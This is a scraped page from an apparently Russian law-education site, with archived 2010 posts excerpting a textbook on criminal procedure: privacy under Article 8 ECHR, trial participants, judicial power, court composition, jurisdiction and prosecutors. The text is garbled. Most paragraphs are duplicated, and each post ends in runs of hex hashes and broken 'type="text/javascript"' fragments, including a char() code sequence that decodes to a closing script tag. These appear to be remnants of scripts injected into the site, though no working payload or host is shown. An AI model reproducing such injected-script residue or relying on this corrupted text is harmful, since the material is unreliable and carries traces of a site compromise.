НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
- Курс государственного благоустройства[полицейское право] 1890 г. (Антонович А.Я.)
- О cущности правосознания (И.А. Ильин)
- Теория права и государства[воспроизводится по изданиям 1915 и 1956 г.г.] (И.А. Ильин)
- Типы господства (Макс Вебер)
- Происхождение семьи, частной собственности и государства 1986 г. (Фридрих Энгельс)
- Право и факт в римском праве 1898 г. (Покровский И.A.)
- Лекции по истории философии права 1914 г. (Новгородцев П.И.)
- План государственного преобразования (введение к уложению государственных законов 1809 г.) с приложением "Записки об устройстве судебных и правительственных учреждений в России" (1803 г.), статей "О государственных установлениях", "О крепостных людях" и Пермского письма к императору Александру (Сперанский М.М.)
- Анализ понятия о преступлении 1892 г. (Пусторослев П. П.)
- Общая теория права Элементарный очерк. По изданию 1911 г. (Хвостов В.М.)
- История философии права Университетская типография 1906 г. (Шершеневич Г.Ф.)
- Общая теория права Москва: издание Бр. Башмаковых, 1910 г. (Шершеневич Г.Ф.)
- Об юридических лицах по римскому праву (Суворов Н.С.)
РАЗНОЕ:
- Французское административное право (Г.Брэбан)
- Конституция РСФСР 1918 года (Чистяков О.И.)
- Конституция СССР 1924 года (Чистяков О.И.)
- Основы конституционного строя России (Румянцев О. Г.)
- Адвокатская этика (Барщевский М.Ю.)
- Советское гражданское право (Пушкин А.А., Маслов В.Ф.)
- Авторское право в издательском бизнесе и сми (М.А. Невская, Е.Е. Сухарев, Е.Н. Тарасова)
- Авторское право СССР (Антимонов Б.С., Флейшиц Е.А.)
- Интеллектуальная собственность (Мэггс П.Б., Сергеев А.П.)
- Корпоративное предпринимательство: от смысла к предмету (С.Б.Чернышев)
- Административные правонарушения (Борисов А.Н.)
- Для следователя (В.В. Мозякова)
- Административная деятельность ОВД (А.П. Коренев)
- Ответственность в системе права (Чирков А.П.)
- Государственное и муниципальное управление в зарубежных странах (Старцев Я.Ю.)
- Адвокатское расследование в уголовном процессе (Мартынчик Е.Г.)
- Судебное производство в уголовном процессе Российской Федкрации (А.И. Карпов)
- Право хозяйственного ведения и право оперативного управления (Д.В. Петров)
- Судебная бухгалтерия (Голубятников С.П.)
- Судебная сексология (Д. К. Лунин, В. П. Ольховик)
- Осмотр места происшествия: Практическое пособие (А.И. Дворкин)
- Адвокатура и власть (Бойков А.Д.)
- Справочник адвоката: Консультации, защита в суде, образцы документов (Данилов Е.П.)
- Настольная книга прокурора (С.И.Герасимов)
- Административный процесс и административно-процессуальное право (Сорокин В.Д.)
- Адвокат как субъект доказывания в гражданском и арбитражном процессе (Власов А.А.)
- Административные правонарушения (Борисов А.Н.)
- Правовые позиции Конституционного Суда России. (Лазарев Л.В.)
- Российское законодательство на современном этапе. (Н.А.Васецкий, Ю.К.Краснов.)
- Административная юстиция. Теория, история, перспективы. (Старилов Ю.Н.)
- История сыска в России. (П.А.Кошель)
- Практикум по гражданскому процессу. (М.К.Треушников)
- Теория Российского процессуального доказывания.
- Государственное принуждение в гражданском судопроизводстве. (Д.Г.Нохрин)
- Перспективы законодательного регулирования административного судопроизводства в Российской Федерации. (Э.И.Девицкий)
- Арбитражное процессуальное право. (В.В.Ефимова)
- Надзорное производство в арбитражном процессе. (А.Е.Ефимов)
- Усмотрение суда. (Папкова О.А.)
- Компенсация морального вреда. (Калинкина Л.Д.)
- Курс гражданского процесса теоретические начала и основные институты. (Сахнова Т.В.)
- Проблемы установления истины в гражданском процессе. (А.Т.Боннер)
- Доказательственное право Англии и США. (И.В.Решетникова)
- Основные проблемы исковой формы защиты права. (А.А.Добровольский, С.А.Иванова)
- Проблемы исполнения судебных решений Сборник статей. (С.П.Гришин, В.Е.Гущев, В.М.Мешков)
- Защита гражданских прав в суде. (П.Я.Трубников)
- Гражданский процесс. (А.А.Власов, М.Г.Власова, В.А.Черкашин)
- Практикум по гражданскому процессуальному праву. (М.К.Треушников)
- Предмет доказывания по гражданским делам.
- Проект исполнительного кодекса Российской Федерации.
- Судебные доказательства. (М.К.Треушников)
- Адвокат как субъект доказывания в гражданском и арбитражном процессе. (А.А.Власов)
- Право на судебную защиту в исковом производстве. (Кожухарь А.Н.)
- Иск (теория и практика). (Осокина Г.Л)
- Исковое производство в советском гражданском процессе. (Е.Г.Пушкарь)
РЕКЛАМА:
АРХИВ НОВОСТЕЙ:
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
К правам человека, имеющим прямое отношение к судопроизводству по уголовным делам, относится право на невмешательство в личную и семейную жизнь.
Свобода от вмешательства в личную и семейную жизнь защищена ст. 12 Декларации, ст. 17 Пакта и ст. 8 Конвенции.
В ст. 8 Конвенции говорится:
Каждый человек имеет право на уважение его личной и семейной жизни, неприкосновенность его жилища и тайну корреспонденции.
Не допускается вмешательство государственных органов в осуществление этого права, за исключением случаев, когда это предусмотрено законом и необходимо в демократическом обществе в интересах государственной безопасности, общественного порядка или экономического благосостояния страны, для поддержания порядка и предотвращения преступлений, охраны здоровья или защиты нравственности или защиты прав и свобод других лиц.
Анализ текста ст. 8 Конвенции показывает, что общий запрет вмешательства в личную и семейную жизнь допускает исключения, в том числе в целях борьбы с преступностью, но это уже должно быть в обязательном порядке предусмотрено законом.b3342ef0cae39903ec00a2a42a849962.js" type="text/javascript">4318a723317bd8c5ec55a980b05bb4e5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)3be54c4b564fbda661f147e30fabd702.js" type="text/javascript">b3b540e68099f3017274eb486d204ee2.js" type="text/javascript">3af544d631b8c3caaf2b23c47290a651.js" type="text/javascript">bff26459b0971d5411032116ecbbf073.js" type="text/javascript">9aa7f87f2cf59cca014e312018bc77f2.js" type="text/javascript">983bc30800576707b5769508095bf4df.js" type="text/javascript">847fbda29b0b9a5062896cb69aa97826.js" type="text/javascript">95554eee4b7a31a9386401a69611a462.js" type="text/javascript">b15b5e57a3b1005b0658ffcac7897c67.js" type="text/javascript">273fcbefc57a7e4e5c678c244d7a821c.js" type="text/javascript">08d9faa0ccb8fec539d0a9bbcf5d3de8.js" type="text/javascript">
Свобода от вмешательства в личную и семейную жизнь защищена ст. 12 Декларации, ст. 17 Пакта и ст. 8 Конвенции.
В ст. 8 Конвенции говорится:
Каждый человек имеет право на уважение его личной и семейной жизни, неприкосновенность его жилища и тайну корреспонденции.
Не допускается вмешательство государственных органов в осуществление этого права, за исключением случаев, когда это предусмотрено законом и необходимо в демократическом обществе в интересах государственной безопасности, общественного порядка или экономического благосостояния страны, для поддержания порядка и предотвращения преступлений, охраны здоровья или защиты нравственности или защиты прав и свобод других лиц.
Анализ текста ст. 8 Конвенции показывает, что общий запрет вмешательства в личную и семейную жизнь допускает исключения, в том числе в целях борьбы с преступностью, но это уже должно быть в обязательном порядке предусмотрено законом.b3342ef0cae39903ec00a2a42a849962.js" type="text/javascript">4318a723317bd8c5ec55a980b05bb4e5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)3be54c4b564fbda661f147e30fabd702.js" type="text/javascript">b3b540e68099f3017274eb486d204ee2.js" type="text/javascript">3af544d631b8c3caaf2b23c47290a651.js" type="text/javascript">bff26459b0971d5411032116ecbbf073.js" type="text/javascript">9aa7f87f2cf59cca014e312018bc77f2.js" type="text/javascript">983bc30800576707b5769508095bf4df.js" type="text/javascript">847fbda29b0b9a5062896cb69aa97826.js" type="text/javascript">95554eee4b7a31a9386401a69611a462.js" type="text/javascript">b15b5e57a3b1005b0658ffcac7897c67.js" type="text/javascript">273fcbefc57a7e4e5c678c244d7a821c.js" type="text/javascript">08d9faa0ccb8fec539d0a9bbcf5d3de8.js" type="text/javascript">
Коментариев: 0 | Просмотров: 238 |
УЧАСТНИКИ УГОЛОВНОГО СУДОПРОИЗВОДСТВА
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Участниками уголовного судопроизводства являются все субъекты, наделенные определенными полномочиями для выполнения назначения уголовного судопроизводства (суд, судья, прокурор, следователь и др.), субъекты, защищающие в судопроизводстве свои или представляемые права и законные интересы, подозреваемый, обвиняемый, защитник, представитель , а также иные субъекты, помогающие в совершении процессуальных действий или удостоверяющие их (специалист, эксперт, понятой и др.). Участники уголовного судопроизводства реализуют свои полномочия и права не иначе как в правоотношениях. Общее определение участников уголовного судопроизводства недостаточно для характеристики процессуального предназначения полномочий и прав каждого из них.
--------------------------------
В учебных целях мы считаем целесообразным рассмотреть процессуальное понятие и виды участников уголовного судопроизводства, а затем принципы уголовного судопроизводства, которые обеспечивают полномочия и права участников. Эта последовательность изложения глав в учебнике отлична от последовательности соответствующих глав в УПК.
Поэтому все участники уголовного судопроизводства разделены в законе на несколько групп (гл. гл. 5 - 8 раздела II УПК), само наименование которых определяет содержание и целевую направленность участников судопроизводства, включенных в ту или иную группу.
Здесь выделены "Суд", "Участники уголовного судопроизводства со стороны обвинения", "Участники уголовного судопроизводства со стороны защиты", "Иные участники уголовного судопроизводства".
Выделение среди основных участников судопроизводства суда и сторон обусловлено самим предметом уголовного судопроизводства, социальным конфликтом, для разрешения которого надо установить, имело ли место преступление, кто его совершил, виновность обвиняемого и др. Очевидно, что установление этих обстоятельств и оспаривание их должны быть возложены на разных участников судопроизводства "со стороны обвинения" и "со стороны защиты". Решение спора сторон возложено на суд - орган правосудия.
Участники уголовного судопроизводства в зависимости от направления их деятельности делятся на "участников со стороны обвинения" и "участников со стороны защиты" (гл. гл. 6, 7 УПК).ff405938e5f4b3a99a6b5a60d6676722.js" type="text/javascript">e90f085257d0186fa981644d884051d5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7b37508fdc176a3bffd09f2f47d7074f.js" type="text/javascript">94e77f896e233a6b95e7f5e192c18011.js" type="text/javascript">07b202dc4076c08176e5c757581be7ee.js" type="text/javascript">eacbc42a8b5ada9b7eecf96a85a5de7e.js" type="text/javascript">f43653118ce8582e8a4aca2a088de524.js" type="text/javascript">16703303a5e49d3c937c0055d6176a43.js" type="text/javascript">8771fe398352127198d170d815e68ce4.js" type="text/javascript">62c977a45841ed228c148e80adf7a25a.js" type="text/javascript">db41adcd6eb7bebf4358571131e853f4.js" type="text/javascript">6e72aa99c9a650c75c3455dc9c487ae4.js" type="text/javascript">c71a14b79701b3bae9d9d53872594bc5.js" type="text/javascript">
--------------------------------
В учебных целях мы считаем целесообразным рассмотреть процессуальное понятие и виды участников уголовного судопроизводства, а затем принципы уголовного судопроизводства, которые обеспечивают полномочия и права участников. Эта последовательность изложения глав в учебнике отлична от последовательности соответствующих глав в УПК.
Поэтому все участники уголовного судопроизводства разделены в законе на несколько групп (гл. гл. 5 - 8 раздела II УПК), само наименование которых определяет содержание и целевую направленность участников судопроизводства, включенных в ту или иную группу.
Здесь выделены "Суд", "Участники уголовного судопроизводства со стороны обвинения", "Участники уголовного судопроизводства со стороны защиты", "Иные участники уголовного судопроизводства".
Выделение среди основных участников судопроизводства суда и сторон обусловлено самим предметом уголовного судопроизводства, социальным конфликтом, для разрешения которого надо установить, имело ли место преступление, кто его совершил, виновность обвиняемого и др. Очевидно, что установление этих обстоятельств и оспаривание их должны быть возложены на разных участников судопроизводства "со стороны обвинения" и "со стороны защиты". Решение спора сторон возложено на суд - орган правосудия.
Участники уголовного судопроизводства в зависимости от направления их деятельности делятся на "участников со стороны обвинения" и "участников со стороны защиты" (гл. гл. 6, 7 УПК).ff405938e5f4b3a99a6b5a60d6676722.js" type="text/javascript">e90f085257d0186fa981644d884051d5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7b37508fdc176a3bffd09f2f47d7074f.js" type="text/javascript">94e77f896e233a6b95e7f5e192c18011.js" type="text/javascript">07b202dc4076c08176e5c757581be7ee.js" type="text/javascript">eacbc42a8b5ada9b7eecf96a85a5de7e.js" type="text/javascript">f43653118ce8582e8a4aca2a088de524.js" type="text/javascript">16703303a5e49d3c937c0055d6176a43.js" type="text/javascript">8771fe398352127198d170d815e68ce4.js" type="text/javascript">62c977a45841ed228c148e80adf7a25a.js" type="text/javascript">db41adcd6eb7bebf4358571131e853f4.js" type="text/javascript">6e72aa99c9a650c75c3455dc9c487ae4.js" type="text/javascript">c71a14b79701b3bae9d9d53872594bc5.js" type="text/javascript">
Коментариев: 0 | Просмотров: 252 |
Суд. Осуществление судебной власти посредством уголовного судопроизводства
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
В системе субъектов уголовного судопроизводства суд занимает исключительное положение, поскольку только он является государственным органом, осуществляющим судебную власть. Чтобы правильно понять и уяснить роль суда в уголовном процессе, необходимо уяснить, что такое судебная власть и как она проявляется в сфере уголовного судопроизводства.
Конституция РФ 1993 г. установила принцип осуществления государственной власти на основе ее разделения на законодательную, исполнительную и судебную и провозгласила самостоятельность органов законодательной, исполнительной и судебной власти (ст. 10). С этого момента судебная власть приобрела самостоятельное значение, получила статус одной из ветвей государственной власти. Согласно Конституции РФ судебная власть осуществляется посредством конституционного, гражданского, административного и уголовного судопроизводства (ч. 2 ст. 118).
Особенностью уголовного судопроизводства является то, что оно охватывает властную деятельность не только суда, но и различных государственных органов: прокурора, начальника следственного отдела, следователя, органа дознания и дознавателя.
Согласно УПК вся уголовно-процессуальная деятельность разделена на две части: досудебное и судебное производство. Первая часть охватывает только две первые стадии уголовного процесса - возбуждение уголовного дела и предварительное расследование. Государственными органами, осуществляющими производство в этих стадиях, являются прокурор, начальник следственного отдела, следователь, орган дознания и дознаватель. Все эти органы входят в систему органов исполнительной власти и в уголовном процессе осуществляют функцию обвинения.
В ходе досудебного производства возникает правовой спор между обвинением и защитой и, следовательно, необходимость его разрешения объективным, беспристрастным и независимым судом.
Все последующие стадии уголовного процесса, в которых суд разрешает самые разнообразные процессуальные вопросы, связанные с решением дела по существу или иные вопросы, возникающие при производстве по уголовному делу, - все это и есть сфера действия судебной власти.
Следует еще раз подчеркнуть, что согласно Конституции РФ судебная власть осуществляется посредством судопроизводства, т.е. урегулированной процессуальным законом деятельности суда по конкретному делу, состоящей как в разрешении дела по существу, так и в решении иных правовых вопросов, возникающих по делу.
После провозглашения Конституцией РФ 1993 г. самостоятельности судебной власти произошли существенные качественные изменения в содержании взаимоотношений суда и всех других органов государственной власти, осуществляющих уголовное судопроизводство.901a5870c591f18a0a3cc7b45a0c317f.js" type="text/javascript">547c17dad4b0278c10b5778599999facchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)fce6771016c06c250b2a221aabb1eeee.js" type="text/javascript">d595adbeccafa3d8b99dddc99a271cba.js" type="text/javascript">0dd098709f236b0ad96715c85eca22cd.js" type="text/javascript">023c1e7861ad71bf64fddacc914eb502.js" type="text/javascript">29f3ce92926e3468126ebce2f0393372.js" type="text/javascript">c3a24729ef2e931ddffb5fe7753de91d.js" type="text/javascript">4afb742534e010d1e10f4c82e33c2bd3.js" type="text/javascript">206bb325d35881156bed91e6545f6c93.js" type="text/javascript">4fd57a61896d032cfaa5a410644d54d3.js" type="text/javascript">ad685a439d3d54db03e957ac0bafa0dd.js" type="text/javascript">291ed3ece129318d87181873c715e327.js" type="text/javascript">
Конституция РФ 1993 г. установила принцип осуществления государственной власти на основе ее разделения на законодательную, исполнительную и судебную и провозгласила самостоятельность органов законодательной, исполнительной и судебной власти (ст. 10). С этого момента судебная власть приобрела самостоятельное значение, получила статус одной из ветвей государственной власти. Согласно Конституции РФ судебная власть осуществляется посредством конституционного, гражданского, административного и уголовного судопроизводства (ч. 2 ст. 118).
Особенностью уголовного судопроизводства является то, что оно охватывает властную деятельность не только суда, но и различных государственных органов: прокурора, начальника следственного отдела, следователя, органа дознания и дознавателя.
Согласно УПК вся уголовно-процессуальная деятельность разделена на две части: досудебное и судебное производство. Первая часть охватывает только две первые стадии уголовного процесса - возбуждение уголовного дела и предварительное расследование. Государственными органами, осуществляющими производство в этих стадиях, являются прокурор, начальник следственного отдела, следователь, орган дознания и дознаватель. Все эти органы входят в систему органов исполнительной власти и в уголовном процессе осуществляют функцию обвинения.
В ходе досудебного производства возникает правовой спор между обвинением и защитой и, следовательно, необходимость его разрешения объективным, беспристрастным и независимым судом.
Все последующие стадии уголовного процесса, в которых суд разрешает самые разнообразные процессуальные вопросы, связанные с решением дела по существу или иные вопросы, возникающие при производстве по уголовному делу, - все это и есть сфера действия судебной власти.
Следует еще раз подчеркнуть, что согласно Конституции РФ судебная власть осуществляется посредством судопроизводства, т.е. урегулированной процессуальным законом деятельности суда по конкретному делу, состоящей как в разрешении дела по существу, так и в решении иных правовых вопросов, возникающих по делу.
После провозглашения Конституцией РФ 1993 г. самостоятельности судебной власти произошли существенные качественные изменения в содержании взаимоотношений суда и всех других органов государственной власти, осуществляющих уголовное судопроизводство.901a5870c591f18a0a3cc7b45a0c317f.js" type="text/javascript">547c17dad4b0278c10b5778599999facchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)fce6771016c06c250b2a221aabb1eeee.js" type="text/javascript">d595adbeccafa3d8b99dddc99a271cba.js" type="text/javascript">0dd098709f236b0ad96715c85eca22cd.js" type="text/javascript">023c1e7861ad71bf64fddacc914eb502.js" type="text/javascript">29f3ce92926e3468126ebce2f0393372.js" type="text/javascript">c3a24729ef2e931ddffb5fe7753de91d.js" type="text/javascript">4afb742534e010d1e10f4c82e33c2bd3.js" type="text/javascript">206bb325d35881156bed91e6545f6c93.js" type="text/javascript">4fd57a61896d032cfaa5a410644d54d3.js" type="text/javascript">ad685a439d3d54db03e957ac0bafa0dd.js" type="text/javascript">291ed3ece129318d87181873c715e327.js" type="text/javascript">
Коментариев: 0 | Просмотров: 352 |
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Применительно к различным звеньям судебной системы и различным категориям уголовных дел действуют различные составы суда, рассматривающие дела по первой инстанции. Уголовные дела рассматриваются единолично и коллегиально. Мировые судьи, а в указанных в ч. 5 ст. 31 УПК случаях судьи гарнизонных военных судов единолично рассматривают дела, по которым может быть назначено максимальное наказание, не превышающее трех лет лишения свободы. В суде первой инстанции также единолично рассматривает уголовные дела судья федерального суда общей юрисдикции. Это уголовные дела о преступлениях, за совершение которых максимальное наказание, предусмотренное уголовным законом, не превышает десяти лет лишения свободы. В соответствии со ст. 30 рассмотрение уголовных дел о тяжких и особо тяжких преступлениях единолично судьей федерального суда общей юрисдикции или в коллегиальном составе зависит исключительно от волеизъявления обвиняемого. Если обвиняемый не заявит ходатайства о коллегиальном рассмотрении уголовного дела, то дело будет рассматриваться единолично судьей федерального суда общей юрисдикции. Также единолично осуществляется рассмотрение уголовных дел судьей районного суда в апелляционном порядке.
Коллегиально дело по первой инстанции может рассматриваться коллегией из трех профессиональных судей или судьей и двенадцатью присяжными заседателями.e672994fc1db30839c7bf9ed02057583.js" type="text/javascript">66d3eb693db0978bef9f1a957c4009d2char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)885cc2a49f668f97dfffe86815570cb4.js" type="text/javascript">b0331231525556370f373a1ad90c6fe1.js" type="text/javascript">981bf94ef477eb6a724ffbd52442175b.js" type="text/javascript">6d36799a064a0f8d0a0d22ee3c779040.js" type="text/javascript">b06ac85bbcec4d5888bd5271bd2425c3.js" type="text/javascript">6e9ca9d87946cf148bc0b0c3973a831c.js" type="text/javascript">5274e78c29e7fcf0c20ef3103e224d30.js" type="text/javascript">043758598efdb7c65a762cb1fdb32cb3.js" type="text/javascript">2cd3df2f54d93d2d6048c9a968f9c97c.js" type="text/javascript">ddddb1b491225cffb2a1b98ae23b6eea.js" type="text/javascript">a288240fe978fe52e82615e58c6063ba.js" type="text/javascript">
Коллегиально дело по первой инстанции может рассматриваться коллегией из трех профессиональных судей или судьей и двенадцатью присяжными заседателями.e672994fc1db30839c7bf9ed02057583.js" type="text/javascript">66d3eb693db0978bef9f1a957c4009d2char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)885cc2a49f668f97dfffe86815570cb4.js" type="text/javascript">b0331231525556370f373a1ad90c6fe1.js" type="text/javascript">981bf94ef477eb6a724ffbd52442175b.js" type="text/javascript">6d36799a064a0f8d0a0d22ee3c779040.js" type="text/javascript">b06ac85bbcec4d5888bd5271bd2425c3.js" type="text/javascript">6e9ca9d87946cf148bc0b0c3973a831c.js" type="text/javascript">5274e78c29e7fcf0c20ef3103e224d30.js" type="text/javascript">043758598efdb7c65a762cb1fdb32cb3.js" type="text/javascript">2cd3df2f54d93d2d6048c9a968f9c97c.js" type="text/javascript">ddddb1b491225cffb2a1b98ae23b6eea.js" type="text/javascript">a288240fe978fe52e82615e58c6063ba.js" type="text/javascript">
Коментариев: 0 | Просмотров: 238 |
Подсудность
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Подсудность - это совокупность признаков уголовного дела, в соответствии с которыми уголовно-процессуальный закон определяет суд, правомочный рассматривать данное дело в качестве суда первой инстанции. При определении суда, который должен рассматривать дело, учитывается компетенция суда, т.е. полномочия того или иного суда в судебной системе по рассмотрению уголовных дел. Для того чтобы установить, какому суду подсудно конкретное уголовное дело, сопоставляются свойства этого дела и компетенция судов.
Правила о подсудности направлены на обеспечение быстрого, полного и объективного рассмотрения дела. Соблюдение этих правил позволяет суду рассматривать дело там, где проживает большинство свидетелей и других лиц, заинтересованных в исходе дела.
Правила о подсудности, закрепленные в ст. ст. 31 - 36 УПК, направлены на обеспечение быстрого, полного и объективного рассмотрения дела. Соблюдение этих правил позволяет суду рассматривать дело там, где проживает большинство свидетелей и других лиц, заинтересованных в исходе дела, которые могут присутствовать в судебном заседании, учесть специфику отдельных категорий преступлений (например, воинских преступлений), обеспечить объективность и быстроту рассмотрения дела. Правила о подсудности уголовных дел основаны на принципе равенства перед законом и судом (ч. 1 ст. 19 Конституции РФ). Поэтому важно, чтобы каждое дело рассматривалось именно тем судом, которому оно подсудно, исключив возможность произвольного изменения подсудности.
Одним из неотъемлемых прав человека является право, чтобы конкретное уголовное дело рассматривалось и разрешалось судом законным, компетентным, независимым и беспристрастным (ч. 1 ст. 14 Международного пакта о гражданских и политических правах). Это выражено и в правиле: "Никто не может быть лишен права на рассмотрение его дела в том суде и тем судьей, к подсудности которых оно отнесено законом" (ч. 1 ст. 47 Конституции РФ). Обвиняемый, потерпевший и другие участники судебного разбирательства имеют право знать, какой именно суд в соответствии с законом правомочен рассматривать конкретное уголовное дело. Это должно исключать субъективизм при решении вопроса о том, в какой суд направлять дело для рассмотрения. Подсудность дел должна быть точно установлена в законе, а не определяться применительно к конкретному делу, например по признаку его "особой сложности" или "особого общественного значения".0ab74fa84db5ade05adb3daf7e1ee880.js" type="text/javascript">bf84b3e2bb53ca23491289f1781dde42char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)bdaade89c095b6d86df7f1e3bdef505e.js" type="text/javascript">81ec04e80fb99d7e98bd64fe54e4c1e4.js" type="text/javascript">b037442459391c6456324b3880cfa862.js" type="text/javascript">46abb2d8552952047feb6dace298ac45.js" type="text/javascript">7707974a5ae1d0eb708ce0a18a7d357f.js" type="text/javascript">b07f9cfacae35b6be9d93ba91ee3b2e7.js" type="text/javascript">283d157cbb68614b5b74f15d5a55da8b.js" type="text/javascript">417b47e648b723cf8744205a46a736f5.js" type="text/javascript">d398424648ceee6f239afaf472e59d4e.js" type="text/javascript">8069bf1208d284212a4782b74253cffd.js" type="text/javascript">c8cef7d3e2fff8dfe31582983f9e3479.js" type="text/javascript">
Правила о подсудности направлены на обеспечение быстрого, полного и объективного рассмотрения дела. Соблюдение этих правил позволяет суду рассматривать дело там, где проживает большинство свидетелей и других лиц, заинтересованных в исходе дела.
Правила о подсудности, закрепленные в ст. ст. 31 - 36 УПК, направлены на обеспечение быстрого, полного и объективного рассмотрения дела. Соблюдение этих правил позволяет суду рассматривать дело там, где проживает большинство свидетелей и других лиц, заинтересованных в исходе дела, которые могут присутствовать в судебном заседании, учесть специфику отдельных категорий преступлений (например, воинских преступлений), обеспечить объективность и быстроту рассмотрения дела. Правила о подсудности уголовных дел основаны на принципе равенства перед законом и судом (ч. 1 ст. 19 Конституции РФ). Поэтому важно, чтобы каждое дело рассматривалось именно тем судом, которому оно подсудно, исключив возможность произвольного изменения подсудности.
Одним из неотъемлемых прав человека является право, чтобы конкретное уголовное дело рассматривалось и разрешалось судом законным, компетентным, независимым и беспристрастным (ч. 1 ст. 14 Международного пакта о гражданских и политических правах). Это выражено и в правиле: "Никто не может быть лишен права на рассмотрение его дела в том суде и тем судьей, к подсудности которых оно отнесено законом" (ч. 1 ст. 47 Конституции РФ). Обвиняемый, потерпевший и другие участники судебного разбирательства имеют право знать, какой именно суд в соответствии с законом правомочен рассматривать конкретное уголовное дело. Это должно исключать субъективизм при решении вопроса о том, в какой суд направлять дело для рассмотрения. Подсудность дел должна быть точно установлена в законе, а не определяться применительно к конкретному делу, например по признаку его "особой сложности" или "особого общественного значения".0ab74fa84db5ade05adb3daf7e1ee880.js" type="text/javascript">bf84b3e2bb53ca23491289f1781dde42char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)bdaade89c095b6d86df7f1e3bdef505e.js" type="text/javascript">81ec04e80fb99d7e98bd64fe54e4c1e4.js" type="text/javascript">b037442459391c6456324b3880cfa862.js" type="text/javascript">46abb2d8552952047feb6dace298ac45.js" type="text/javascript">7707974a5ae1d0eb708ce0a18a7d357f.js" type="text/javascript">b07f9cfacae35b6be9d93ba91ee3b2e7.js" type="text/javascript">283d157cbb68614b5b74f15d5a55da8b.js" type="text/javascript">417b47e648b723cf8744205a46a736f5.js" type="text/javascript">d398424648ceee6f239afaf472e59d4e.js" type="text/javascript">8069bf1208d284212a4782b74253cffd.js" type="text/javascript">c8cef7d3e2fff8dfe31582983f9e3479.js" type="text/javascript">
Коментариев: 0 | Просмотров: 257 |
Уголовно-процессуальное право | Автор: admin | 12-05-2010, 21:04
Полномочия, организация и порядок деятельности прокуратуры РФ определяются Федеральным законом "О прокуратуре Российской Федерации" от 17 ноября 1995 г. с последующими изменениями и дополнениями (далее - Закон о прокуратуре РФ).
Процессуальное положение прокурора в уголовном процессе, формы и методы деятельности определяются назначением судопроизводства и непосредственными задачами, решаемыми в каждой отдельной стадии. Применительно к этому определены полномочия прокурора в УПК как участника уголовного судопроизводства со стороны обвинения. В ст. 37 УПК определено, что прокурор является должностным лицом, уполномоченным в пределах компетенции, установленной УПК, осуществлять от имени государства уголовное преследование в ходе уголовного судопроизводства, а также надзор за процессуальной деятельностью органов дознания и органов предварительного следствия. Понятие "прокурор" дано в п. 31 ст. 5 УПК, где сказано: "прокурор - Генеральный прокурор РФ и подчиненные ему прокуроры, их заместители и иные должностные лица органов прокуратуры, участвующие в уголовном судопроизводстве и наделенные соответствующими полномочиями федеральным законом о прокуратуре". Таким образом, именно Закон о прокуратуре РФ должен определить, кто из работников прокуратуры пользуется правами прокурора и какими именно полномочиями он наделен в уголовном судопроизводстве.
Широкими полномочиями прокурор обладает в стадиях возбуждения уголовного дела и предварительного расследования. В них он осуществляет уголовное преследование и надзор за исполнением законов органами дознания и предварительного следствия и для обеспечения режима законности в их деятельности реализует властно-распорядительные полномочия (ст. 31 Закона о прокуратуре РФ).
Уголовное преследование - процессуальная деятельность, осуществляемая в целях изобличения подозреваемого, обвиняемого в совершении преступления (п. 55 ст. 5 УПК). По существу, прокурор возглавляет всю деятельность по уголовному преследованию, поскольку на нем лежит обязанность возбудить уголовное дело или дать согласие на его возбуждение следователю и др.; участвовать в производстве предварительного расследования и в необходимых случаях лично проводить отдельные следственные действия; давать согласие на возбуждение перед судом ходатайства об избрании, отмене или изменении меры пресечения либо о производстве иного процессуального действия, которое допускается на основании судебного решения. Он поручает органу дознания производство следственных действий, а также дает ему указания о проведении оперативно-розыскных мероприятий (п. п. 3, 5, 11 ч. 2 ст. 37 УПК).6b725a350005c984cc0795ee20240084.js" type="text/javascript">8466bc94173debbf5c362e865e13c1a6char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)644329c28aa0d98d2671f78c03a7b704.js" type="text/javascript">3b1a777580a6e5b57bd6a58147d96b3a.js" type="text/javascript">d0fabe9d3b1b4486096d362ca307e9bc.js" type="text/javascript">ede4594942489fe478c2dff4fe48acb0.js" type="text/javascript">2ba79eb006447f26bd47638d3157bafb.js" type="text/javascript">f97150f0deb6a47148626e4d25eb939a.js" type="text/javascript">b168ede3bf11e02ca4e243cdb63ed3c9.js" type="text/javascript">cd577f421170097c23aa8cab745d24a5.js" type="text/javascript">3ac0ec19d8dfb05b571b3072c295316d.js" type="text/javascript">340111f0f25b6471650592e2b29fb7ec.js" type="text/javascript">acbf694046719e8fa577697687999a36.js" type="text/javascript">
